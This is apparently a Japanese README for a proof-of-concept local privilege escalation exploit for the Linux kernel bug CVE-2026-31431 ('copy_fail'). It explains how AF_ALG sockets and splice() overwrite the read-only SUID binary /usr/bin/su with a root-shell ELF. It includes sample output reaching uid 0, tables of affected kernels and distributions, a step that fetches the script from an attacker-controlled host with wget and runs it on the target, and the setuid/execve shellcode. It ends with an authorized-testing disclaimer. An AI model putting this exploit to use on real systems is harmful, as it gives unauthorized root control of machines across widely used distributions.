
PoCシェルエクスプロイト for CVE-2026-31431 (copy_fail) — AF_ALG + spliceページキャッシュ上書きによるLinux LPE。シングルショット、レースコンディション不要、カーネル4.9〜6.18対応。
AF_ALGソケットとsplice()によるページキャッシュ上書きを利用したローカル権限昇格。
読み取り専用のSUIDバイナリ(/usr/bin/su)を、setuid(0)とexecve("/bin/sh")を呼び出す最小限のELFで上書きします。レースコンディション不要、ディストリビューション別オフセット不要、単発で実行可能です。
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
LinuxカーネルのAF_ALG(crypto API)ソケットは、splice()と組み合わせることで、ページキャッシュを操作してO_RDONLYで開かれたファイルへの書き込みを可能にします。カーネルはALGソケットのspliceパス内のコピーオンライトショートカットで書き込み権限チェックをスキップします。これはDirty Pipe(CVE-2022-0847)と同じクラスのバグですが、カーネル4.9で導入された別のコードパスを介してトリガーされます。
| カーネル範囲 | ステータス |
|---|---|
| < 4.9 | 影響なし(脆弱なコードパスが存在しない) |
| 4.9 – 6.18 | 脆弱(約9年間、2017年〜2026年) |
| ≥ 6.19 | 修正済み |
| ディストリビューション | カーネル |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc/tmpへの書き込みアクセス# On target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
このスクリプトは以下の処理を行います:
/usr/bin/suをルートシェルペイロードで上書きAF_ALG socket (AEAD)
│
│ sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (operation socket)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
ALGソケット内のカーネルのspliceパスはコピーオンライト権限チェックをスキップし、読み取り専用で開かれているにもかかわらず、ターゲットファイルのページキャッシュに直接書き込みます。ペイロード(160バイトのELF)は40回の反復で4バイトずつ書き込まれます。
ペイロードシェルコード:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| ファイル | 説明 |
|---|---|
copy_fail_exp.sh | Bashスクリプト — ターゲット上でコンパイル・実行、Python不要 |
copy_fail_exp.py | 参考用のオリジナルPython版 |
copy_fail_exp_deobfuscated.py | 難読化解除・注釈付きのPython版 |
許可されたセキュリティテストおよびCTF/ラボ環境専用です。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。